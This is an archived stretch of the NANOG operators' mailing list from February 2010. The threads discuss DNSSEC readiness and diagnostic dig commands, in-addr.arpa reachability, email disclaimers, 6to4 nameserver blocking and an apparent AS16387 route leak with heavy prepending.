<20100215115813.GB26024@nic.fr> <4B79388E.5030407@sorbs.net> <4B7940BF.3000700@sorbs.net> <20100215123042.GD63033@stlux503.dsto.defence.gov.au> <20100215130033.GB32680@nic.fr> <4B797547.4080107@cox.net> Message-ID: <4B798993.5010906@gmail.com> Larry Sheldon wrote: > On 2/15/2010 7:00 AM, Stephane Bortzmeyer wrote: > > >>> If you have received this email in error, you are requested to >>> contact the sender and delete the email. >>> >> Done. I also erased the hard disk and reinstalled the OS. >> > > Given that many Network Operator managers require that that crap be > appended to out-bound messages, frequently beyond the control (or > wishes) of the message-originator, why is it necessary to whine about > every occurrence of it? IMHO, if your organization appends crap to your outbound messages then you should maintain a separate crap-free email account for your personal email and use it when you post to discussion lists. (If you want to receive list email at your crap-infested account for your own convenience, have it forwarded so that your crap-infested reply email can't be posted back to the list. This isn't rocket science, right?) Posting with crap laden .sigs is just as bad as posting in HTML. This isn't some band fan discussion group, this is the North American Network Operators Group - it's reasonable to expect a certain amount of posting professionalism here. jc From morrowc.lists at gmail.com Mon Feb 15 11:59:11 2010 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Mon, 15 Feb 2010 12:59:11 -0500 Subject: Noise (was Re: in-addr.arpa server problems for europe?) In-Reply-To: <4B798993.5010906@gmail.com> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <4B79388E.5030407@sorbs.net> <4B7940BF.3000700@sorbs.net> <20100215123042.GD63033@stlux503.dsto.defence.gov.au> <20100215130033.GB32680@nic.fr> <4B797547.4080107@cox.net> <4B798993.5010906@gmail.com> Message-ID: <75cb24521002150959v32d87169pbb12096e724e6952@mail.gmail.com> On Mon, Feb 15, 2010 at 12:51 PM, JC Dill wrote: > Larry Sheldon wrote: > IMHO, if your organization appends crap to your outbound messages then you > should maintain a separate crap-free email account for your personal email or... we could all be adults and just forget these things exist, since as the threads over the years seem to indicate they aren't enforcable anyway... that gets my vote, less noise and happier people. -chris From sethm at rollernet.us Mon Feb 15 12:01:18 2010 From: sethm at rollernet.us (Seth Mattinen) Date: Mon, 15 Feb 2010 10:01:18 -0800 Subject: in-addr.arpa server problems for europe? In-Reply-To: References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <017701caae38$3470f4e0$9d52dea0$@nl> <20100215130056.GC32680@nic.fr> <017801caae40$21875e20$64961a60$@nl> Message-ID: <4B798BEE.6010206@rollernet.us> On 2/15/10 9:21 AM, Tony Finch wrote: > On Mon, 15 Feb 2010, Mark Scholten wrote: >> >> I've seen problems that are only there because of DNSSEC, so if there is a >> problem starting with trying to disable DNSSEC could be a good idea. As long >> as not all rootzones are signed I don't see a good reason to use DNSSEC at >> the moment. > > You realise that two of them are signed now and the rest will be signed by > 1st July? > Which means now is a good time to find and fix brokenness, not hope that DNSSEC will go away. ~Seth From mark at streamservice.nl Mon Feb 15 12:04:49 2010 From: mark at streamservice.nl (Mark Scholten) Date: Mon, 15 Feb 2010 19:04:49 +0100 Subject: in-addr.arpa server problems for europe? In-Reply-To: References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <017701caae38$3470f4e0$9d52dea0$@nl> <20100215130056.GC32680@nic.fr> <017801caae40$21875e20$64961a60$@nl> Message-ID: <017901caae69$5d9e8770$18db9650$@nl> > -----Original Message----- > From: Tony Finch [mailto:fanf2 at hermes.cam.ac.uk] On Behalf Of Tony > Finch > Sent: Monday, February 15, 2010 6:21 PM > To: Mark Scholten > Cc: nanog at nanog.org > Subject: RE: in-addr.arpa server problems for europe? > > On Mon, 15 Feb 2010, Mark Scholten wrote: > > > > I've seen problems that are only there because of DNSSEC, so if there > is a > > problem starting with trying to disable DNSSEC could be a good idea. > As long > > as not all rootzones are signed I don't see a good reason to use > DNSSEC at > > the moment. > > You realise that two of them are signed now and the rest will be signed > by > 1st July? > > Tony. Yes, I realise that. I also realise that not all nameserver software can work as it work with DNSSEC. That is also a problem that has to be solved and for as far as I know all nameserver software we use support it or will support it in the future. As long as it is not supported by all nameserver software you can keep problems. From LarrySheldon at cox.net Mon Feb 15 12:09:09 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Mon, 15 Feb 2010 12:09:09 -0600 Subject: Noise (was Re: in-addr.arpa server problems for europe?) In-Reply-To: <4B798993.5010906@gmail.com> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <4B79388E.5030407@sorbs.net> <4B7940BF.3000700@sorbs.net> <20100215123042.GD63033@stlux503.dsto.defence.gov.au> <20100215130033.GB32680@nic.fr> <4B797547.4080107@cox.net> <4B798993.5010906@gmail.com> Message-ID: <4B798DC5.1010107@cox.net> On 2/15/2010 11:51 AM, JC Dill wrote: > Larry Sheldon wrote: >> On 2/15/2010 7:00 AM, Stephane Bortzmeyer wrote: >> >> >>>> If you have received this email in error, you are requested to >>>> contact the sender and delete the email. >>>> >>> Done. I also erased the hard disk and reinstalled the OS. >>> >> >> Given that many Network Operator managers require that that crap be >> appended to out-bound messages, frequently beyond the control (or >> wishes) of the message-originator, why is it necessary to whine about >> every occurrence of it? > > IMHO, if your organization appends crap to your outbound messages then > you should maintain a separate crap-free email account for your personal > email and use it when you post to discussion lists. (If you want to [snip] OK. So he should use his hotmail account for stuff that is authoritative for his employer. Oh, wait. hotmail appends an advertisement to everything. Yahoo maybe--no their appendages go on for a page or more....I guess I'll have to listen to the whiners (or filter them off--they probably don't have any thing useful to say anyway). -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From smb at cs.columbia.edu Mon Feb 15 12:10:21 2010 From: smb at cs.columbia.edu (Steven Bellovin) Date: Mon, 15 Feb 2010 13:10:21 -0500 Subject: in-addr.arpa server problems for europe? In-Reply-To: <4B798BEE.6010206@rollernet.us> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <017701caae38$3470f4e0$9d52dea0$@nl> <20100215130056.GC32680@nic.fr> <017801caae40$21875e20$64961a60$@nl> <4B798BEE.6010206@rollernet.us> Message-ID: <218B723E-4577-48AD-9317-14BBFCD8FF55@cs.columbia.edu> On Feb 15, 2010, at 1:01 PM, Seth Mattinen wrote: > On 2/15/10 9:21 AM, Tony Finch wrote: >> On Mon, 15 Feb 2010, Mark Scholten wrote: >>> >>> I've seen problems that are only there because of DNSSEC, so if there is a >>> problem starting with trying to disable DNSSEC could be a good idea. As long >>> as not all rootzones are signed I don't see a good reason to use DNSSEC at >>> the moment. >> >> You realise that two of them are signed now and the rest will be signed by >> 1st July? >> > > > Which means now is a good time to find and fix brokenness, not hope that > DNSSEC will go away. Right. Apart from implementations that just can't handle funky RR types in the response -- firewalls, perhaps? see RFC 2979, especially the transparency rule -- a lot of the trouble is caused by the reply size. The code should either use EDNS0 or fall back to TCP -- and lots of folks have broken firewall configs that don't allow TCP 53, even though it's been in the spec since 1984 or thereabouts. --Steve Bellovin, http://www.cs.columbia.edu/~smb From charles at knownelement.com Mon Feb 15 12:14:54 2010 From: charles at knownelement.com (Charles N Wyble) Date: Mon, 15 Feb 2010 10:14:54 -0800 Subject: DNSSEC Readiness Message-ID: <4B798F1E.6080403@knownelement.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 All, How are folks verifying DNSSEC readiness of their environments? Any existing testing methodologies / resources that folks are using? It seems like this is something that will become a front and center issue for help desks everywhere pretty quick. :) Ideally the more we can stave off issues through proactive testing/fixing the better. - -- Charles N Wyble Linux Systems Engineer charles at knownelement.com (818)280-7059 http://www.knownelement.com Unless agreed upon, assume everything in this e-mail might be blogged. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkt5jxoACgkQJmrRtQ6zKE94eQCghyDn96HG2g7G1MDogj/yy1WB GFQAn22n3a48Mt9ssiwfyqN1Ne0N+X6L =Xt79 -----END PGP SIGNATURE----- From Valdis.Kletnieks at vt.edu Mon Feb 15 12:33:05 2010 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Mon, 15 Feb 2010 13:33:05 -0500 Subject: dns interceptors In-Reply-To: Your message of "Sun, 14 Feb 2010 18:59:56 EST." References: <7f17308a1002121435p6b4efd66nedb7d4f16e1dcf77@mail.gmail.com> <201002142354.o1ENsvul072693@drugs.dv.isc.org> Message-ID: <9692.1266258785@localhost> On Sun, 14 Feb 2010 18:59:56 EST, Steven Bellovin said: > Yes -- and as a reward for your expertise, you get to explain the > problem with a transparent DNS proxy to the judge. For bonus points, > explain it to a jury.... The transparent DNS proxies aren't the problem. It's the translucent ones of undetermined opacity that just don't respond to cleaning with Windex that are the problem... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 227 bytes Desc: not available URL: From dot at dotat.at Mon Feb 15 12:41:53 2010 From: dot at dotat.at (Tony Finch) Date: Mon, 15 Feb 2010 18:41:53 +0000 Subject: DNSSEC Readiness In-Reply-To: <4B798F1E.6080403@knownelement.com> References: <4B798F1E.6080403@knownelement.com> Message-ID: On Mon, 15 Feb 2010, Charles N Wyble wrote: > > How are folks verifying DNSSEC readiness of their environments? Any > existing testing methodologies / resources that folks are using? Here's my summary of the situation (as of a couple of months ago) with links to a few key resources: http://fanf.livejournal.com/104774.html Tony. -- f.anthony.n.finch http://dotat.at/ GERMAN BIGHT HUMBER: SOUTHWEST 5 TO 7. MODERATE OR ROUGH. SQUALLY SHOWERS. MODERATE OR GOOD. From fw at deneb.enyo.de Mon Feb 15 12:55:05 2010 From: fw at deneb.enyo.de (Florian Weimer) Date: Mon, 15 Feb 2010 19:55:05 +0100 Subject: in-addr.arpa server problems for europe? In-Reply-To: <20100215115813.GB26024@nic.fr> (Stephane Bortzmeyer's message of "Mon, 15 Feb 2010 12:58:13 +0100") References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> Message-ID: <87iq9ys512.fsf@mid.deneb.enyo.de> * Stephane Bortzmeyer: > It is highly improbable that all these name servers are unreachable > from you. Therefore, I suspect that *content* is the issue. RIPE-NCC > zones are signed with DNSSEC. Are you sure you do not have a broken > middlebox which deletes DNSSEC-signed answers? Ahem. dig's +trace doesn't use EDNS by default, so no signatures and (usually) no large responses. For extra realism, you need to add +dnssec +norecurse, and +all for usefulness. From fw at deneb.enyo.de Mon Feb 15 13:04:41 2010 From: fw at deneb.enyo.de (Florian Weimer) Date: Mon, 15 Feb 2010 20:04:41 +0100 Subject: DNSSEC Readiness In-Reply-To: <4B798F1E.6080403@knownelement.com> (Charles N. Wyble's message of "Mon, 15 Feb 2010 10:14:54 -0800") References: <4B798F1E.6080403@knownelement.com> Message-ID: <87eikms4l2.fsf@mid.deneb.enyo.de> * Charles N. Wyble: > How are folks verifying DNSSEC readiness of their environments? Any > existing testing methodologies / resources that folks are using? For now, running (with a real resolver address instead of 192.0.2.1) dig @192.0.2.1 $RANDOM. +dnssec and checking if a certain percentage of the responses include DNSSEC data. This means that your resolver can get data from DURZ-enabled servers, so you should be fine when the root is signed. If your resolvers are not security-aware, use dig @192.0.2.1 . NSEC dig @192.0.2.1 . RRSIG dig @192.0.2.1 . DNSKEY but you can run this variant of the test only once per day. If you never, ever get any DNSSEC data for these queries, you will very likely have a problem once all root servers have switched to serving DURZ (and later DNSSEC) data. > It seems like this is something that will become a front and center > issue for help desks everywhere pretty quick. :) Why do you think so? Would you even notice if your webmail provider switches to HTTPS by default (or back to HTTP)? From charles at knownelement.com Mon Feb 15 13:06:01 2010 From: charles at knownelement.com (Charles N Wyble) Date: Mon, 15 Feb 2010 11:06:01 -0800 Subject: DNSSEC Readiness In-Reply-To: References: <4B798F1E.6080403@knownelement.com> Message-ID: <4B799B19.9010100@knownelement.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Tony Finch wrote: > On Mon, 15 Feb 2010, Charles N Wyble wrote: >> How are folks verifying DNSSEC readiness of their environments? Any >> existing testing methodologies / resources that folks are using? > > Here's my summary of the situation (as of a couple of months ago) with > links to a few key resources: http://fanf.livejournal.com/104774.html > > Tony. Most interesting. Thanks. - From https://www.dns-oarc.net/oarc/services/replysizetest charles at charles-laptop:~] dig +short rs.dns-oarc.net txt rst.x3827.rs.dns-oarc.net. rst.x3837.x3827.rs.dns-oarc.net. rst.x3843.x3837.x3827.rs.dns-oarc.net. "8.0.23.143 sent EDNS buffer size 4096" "8.0.23.143 DNS reply size limit is at least 3843" "Tested at 2010-02-15 19:03:47 UTC" charles at charles-laptop:~] I have a local BIND server I use for DNS. It's whatever Ubuntu 9.10 installs with apt-get, and a cisco 1841 as my edge router. I imagine that is a pretty standard setup in a lot of user sites (linux with bind and a cisco router of some sort). Will do further investigation. - -- Charles N Wyble Linux Systems Engineer charles at knownelement.com (818)280-7059 http://www.knownelement.com Unless agreed upon, assume everything in this e-mail might be blogged. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkt5mxQACgkQJmrRtQ6zKE99PwCgh5ikE7LRywT610jG4QkkTE4n lyoAoMT67y/fGQHadGC6aHyRzRzQsxZi =K8sW -----END PGP SIGNATURE----- From charles at knownelement.com Mon Feb 15 13:07:51 2010 From: charles at knownelement.com (Charles N Wyble) Date: Mon, 15 Feb 2010 11:07:51 -0800 Subject: DNSSEC Readiness In-Reply-To: <87eikms4l2.fsf@mid.deneb.enyo.de> References: <4B798F1E.6080403@knownelement.com> <87eikms4l2.fsf@mid.deneb.enyo.de> Message-ID: <4B799B87.3030602@knownelement.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Florian Weimer wrote: > * Charles N. Wyble: > > >> It seems like this is something that will become a front and center >> issue for help desks everywhere pretty quick. :) > > Why do you think so? Would you even notice if your webmail provider > switches to HTTPS by default (or back to HTTP)? Well I would, but most users won't. :) However they will certainly start complaining when DNS stops working. Of course they won't know that's what the issue is, but they will call saying the internet is down. - -- Charles N Wyble Linux Systems Engineer charles at knownelement.com (818)280-7059 http://www.knownelement.com Unless agreed upon, assume everything in this e-mail might be blogged. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkt5m4cACgkQJmrRtQ6zKE9y7gCfVRwsS9nIMXP37581d0hsUkDD pHYAoM/3IrNmKbRKdwaEPEbxH1nCyntx =e45k -----END PGP SIGNATURE----- From fw at deneb.enyo.de Mon Feb 15 13:14:34 2010 From: fw at deneb.enyo.de (Florian Weimer) Date: Mon, 15 Feb 2010 20:14:34 +0100 Subject: Denic (.de) blocking 6to4 nameservers (since begin feb 2010) In-Reply-To: (Igor Ybema's message of "Thu, 11 Feb 2010 13:26:42 +0100") References: Message-ID: <87wryeqpk5.fsf@mid.deneb.enyo.de> * Igor Ybema: > We know we should push our provider to support native IPv6, and we do. > But this should not stop us using IPv6 6to4. You should complain to the DENIC member you use, or perhaps the DENIC ops team. Perhaps it's a simple mistake. NANOG isn't the right forum for this. From LarrySheldon at cox.net Mon Feb 15 13:23:23 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Mon, 15 Feb 2010 13:23:23 -0600 Subject: Noise (was Re: in-addr.arpa server problems for europe?) In-Reply-To: <4B799E38.1080701@gmail.com> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <4B79388E.5030407@sorbs.net> <4B7940BF.3000700@sorbs.net> <20100215123042.GD63033@stlux503.dsto.defence.gov.au> <20100215130033.GB32680@nic.fr> <4B797547.4080107@cox.net> <4B798993.5010906@gmail.com> <4B798DC5.1010107@cox.net> <4B799E38.1080701@gmail.com> Message-ID: <4B799F2B.5010207@cox.net> On 2/15/2010 1:19 PM, JC Dill wrote: > I don't see the point you are trying to make in this discussion. I can see that. I don't have a clue bat big enough for the task. Are > you saying Troll skat. I'm out. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From fw at deneb.enyo.de Mon Feb 15 13:49:43 2010 From: fw at deneb.enyo.de (Florian Weimer) Date: Mon, 15 Feb 2010 20:49:43 +0100 Subject: DNSSEC Readiness In-Reply-To: <4B799B87.3030602@knownelement.com> (Charles N. Wyble's message of "Mon, 15 Feb 2010 11:07:51 -0800") References: <4B798F1E.6080403@knownelement.com> <87eikms4l2.fsf@mid.deneb.enyo.de> <4B799B87.3030602@knownelement.com> Message-ID: <87ljeup9d4.fsf@mid.deneb.enyo.de> * Charles N. Wyble: > However they will certainly start complaining when DNS stops working. Of > course they won't know that's what the issue is, but they will call > saying the internet is down. Okay, then the first way I mentioned for checking should be sufficient. Well, perhaps make it dig $RANDOM.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx. +dnssec instead, so that you'll receive an even larger response. But actually, you already know that your DNS can cope with responses >512 bytes, if you look at this: dig @k.root-servers.net +trace +all +dnssec aol.com MX Certainly, your users would complain if they couldn't send mail to AOL. 8-) From amar at telia.net Mon Feb 15 14:00:59 2010 From: amar at telia.net (Amar) Date: Mon, 15 Feb 2010 21:00:59 +0100 Subject: DNSSEC Readiness In-Reply-To: <4B798F1E.6080403@knownelement.com> References: <4B798F1E.6080403@knownelement.com> Message-ID: <4B79A7FB.7060603@telia.net> Charles N Wyble wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > All, > > How are folks verifying DNSSEC readiness of their environments? Any > existing testing methodologies / resources that folks are using? > > It seems like this is something that will become a front and center > issue for help desks everywhere pretty quick. :) Ideally the more we can > stave off issues through proactive testing/fixing the better. FWIW - .se did some consumer research during their DNSSec launch. I belive there will be a new study. Tests of Consumer Broadband Routers in Sweden (DNSSEC) in 2008: http://www.iis.se/docs/Routertester_en.pdf -- amar From fw at deneb.enyo.de Mon Feb 15 14:07:22 2010 From: fw at deneb.enyo.de (Florian Weimer) Date: Mon, 15 Feb 2010 21:07:22 +0100 Subject: DNSSEC Readiness In-Reply-To: <4B79A7FB.7060603@telia.net> (amar@telia.net's message of "Mon, 15 Feb 2010 21:00:59 +0100") References: <4B798F1E.6080403@knownelement.com> <4B79A7FB.7060603@telia.net> Message-ID: <87fx52p8jp.fsf@mid.deneb.enyo.de> FWIW - .se did some consumer research during their > DNSSec launch. I belive there will be a new study. > > Tests of Consumer Broadband Routers in Sweden (DNSSEC) > in 2008: > http://www.iis.se/docs/Routertester_en.pdf Seriously, who puts recursive DNS resolvers behind consumer broadband routers? 8-) Seriously, these studies measure the wrong thing. I don't think any vendor has announced yet to switch on DNSSEC validation in stub resolvers by default. From emccrckn at memphis.edu Mon Feb 15 16:32:17 2010 From: emccrckn at memphis.edu (Ernest Andrew McCracken (emccrckn)) Date: Mon, 15 Feb 2010 16:32:17 -0600 Subject: AS16387 leaking routes Message-ID: Has anyone seen the strange activity from AS16387? Did they leak their entire table? Our route collectors are showing AS16387 originating large numbers of prefixes. It looks like we caught the tail end of this activity as they are now announcing updates with massive amounts of prepending. Here's an example. We have several pages worth of this. 20100215|15:17:58|1266268678678|164.128.32.11|3303|ORIGIN_CHANGE|95.79.192/19|34533|16387 20100215|15:18:58|1266268738707|164.128.32.11|3303|BGPMON_PATH|3303,3303,3303,3303,3303,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6 453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453, 6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453 ,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,6453,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,8744,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,34533,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387,16387 Ernest McCracken Research Assistant Networking Research Laboratory http://netlab.cs.memphis.edu Computer Science Department University of Memphis From nanog at daork.net Mon Feb 15 16:31:45 2010 From: nanog at daork.net (Nathan Ward) Date: Tue, 16 Feb 2010 11:31:45 +1300 Subject: Denic (.de) blocking 6to4 nameservers (since begin feb 2010) In-Reply-To: References: <201002112116.o1BLGuV3017550@drugs.dv.isc.org> <20100215160326.GE20660@login.ecs.soton.ac.uk> Message-ID: <8660C2D3-3FC3-4F55-BC77-C48FBAE1D32C@daork.net> On 16/02/2010, at 5:03 AM, Tim Chown wrote: > On Fri, Feb 12, 2010 at 08:16:56AM +1100, Mark Andrews wrote: >> >> If you can't get native IPv6 then use a tunneled service like >> Hurricane Electric's (HE.NET). It is qualitatively better than >> 6to4 as it doesn't require random nodes on the net to be performing >> translation services for you which you can't track down the >> administrators of. You can get /48's from HE. > > Our external IPv6 web accesses are still very low, but have grown > linearly over the last five years from 0.1% in 2005/06 to 0.5% of > total web traffic now. Internally of course our figures are higher. > > Of that IPv6 traffic, 1% comes from 2002::/16 prefixes. Even less > from Teredo prefixes. I guess we could run stats against known TB > prefixes to determine who is using those. You are very unlikely to get traffic from Teredo, because: 1) Windows only asks for AAAA if it has non-Teredo IPv6 connectivity 2) When Windows has non-Teredo IPv6 connectivity and so can ask for AAAA, preference for reaching your web content is going to be non-Teredo IPv6 -> IPv4 -> Teredo, due to the prefix policy table, unless you have an AAAA in 2001::/32 (Teredo space), in which case it will prefer IPv4 -> Teredo. With 6to4, Windows hosts will ask for AAAA, and will prefer non-6to4 IPv6 over 6to4 over IPv4. I'm a little surprised at how little 6to4 traffic you get. Teredo gets most use when an application asks for a connection to a certain IPv6 address, without DNS. This is most common in peer to peer - you're not going to levels of web traffic and P2P traffic using Teredo that are comparable ratios to IPv4. My expectation is that lines in your web logs in 2001::/32 have user agent strings indicating non-Windows hosts - or perhaps someone has miredo running on a proxy server, or perhaps the users' non-Teredo IPv6 AND IPv4 paths to you were broken when they tried to make a request. Stranger things have happened.. I wrote some code that will allow you to better understand the connectivity that end users of your web content have - when they visit your site it has them get 1x1 px transparent GIF images from various different hostnames with different characteristics in the DNS, and then reports back which loaded and how long. http://www.braintrust.co.nz/ipv6wwwtest/ Wikipedia were running this for a while, on every 100th hit. They did a modification to this where they also had a large image to test for pmtud errors. Google are using a similar technique to test IPv6 capabilities and networks. I'll add something with the pmtud stuff in the next week or so, and I'll also push the code to github. You'll probably want to make you own changes based on what you're interested in, also. -- Nathan Ward From morrowc.lists at gmail.com Mon Feb 15 16:46:18 2010 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Mon, 15 Feb 2010 17:46:18 -0500 Subject: AS16387 leaking routes In-Reply-To: References: Message-ID: <75cb24521002151446x68801f7dxbcf31b88fc7cf07c@mail.gmail.com> On Mon, Feb 15, 2010 at 5:32 PM, Ernest Andrew McCracken (emccrckn) wrote: > Has anyone seen the strange activity from AS16387? ?Did they leak their entire table? ?Our route collectors are showing AS16387 originating large numbers of prefixes. ?It looks like we caught the tail end of this activity as they are now announcing updates with ?massive amounts of prepending. 16387 is a uunet customer, it seems, who's only annoucing (now) 2 prefixes... Robtex seems to support them only having a single upstream (701). I think 701 still prefix-lists all their customers. You saw this through 3303 without 701 (it seems?) in the path, The orignal prefix looks actually like 95.79.192.0/19 in the path: 34533 16387 that looks like ESamara trying to poison their paths toward 'healthy directions, LLC". maybe ESamara saw something they disliked from this part of the network? -Chris From marka at isc.org Mon Feb 15 17:12:15 2010 From: marka at isc.org (Mark Andrews) Date: Tue, 16 Feb 2010 10:12:15 +1100 Subject: in-addr.arpa server problems for europe? In-Reply-To: Your message of "Mon, 15 Feb 2010 19:55:05 BST." <87iq9ys512.fsf@mid.deneb.enyo.de> References: <4B791249.1060806@sorbs.net> <20100215115813.GB26024@nic.fr> <87iq9ys512.fsf@mid.deneb.enyo.de> Message-ID: <201002152312.o1FNCFq8098232@drugs.dv.isc.org> In message <87iq9ys512.fsf at mid.deneb.enyo.de>, Florian Weimer writes: > * Stephane Bortzmeyer: > > > It is highly improbable that all these name servers are unreachable > > from you. Therefore, I suspect that *content* is the issue. RIPE-NCC > > zones are signed with DNSSEC. Are you sure you do not have a broken > > middlebox which deletes DNSSEC-signed answers? > > Ahem. dig's +trace doesn't use EDNS by default, so no signatures and > (usually) no large responses. I actually suspect no IPv6 path rather than DNSSEC, add a -4 to force IPv4. drugs# foreach h ( SUNIC.SUNET.SE TINNIE.ARIN.NET NS-PRI.RIPE.NET NS3.NIC.FR SEC3.APNIC.NET SEC1.APNIC.NET SNS-PB.ISC.ORG ) foreach? echo $h `dig +short $h aaaa` foreach? end SUNIC.SUNET.SE 2001:6b0:7::2 TINNIE.ARIN.NET 2001:500:13::c7d4:35 NS-PRI.RIPE.NET 2001:610:240:0:53::3 NS3.NIC.FR 2001:660:3006:1::1:1 SEC3.APNIC.NET 2001:dc0:1:0:4777::140 SEC1.APNIC.NET 2001:dc0:2001:a:4608::59 SNS-PB.ISC.ORG 2001:500:2e::1 drugs# Mark -- Mark 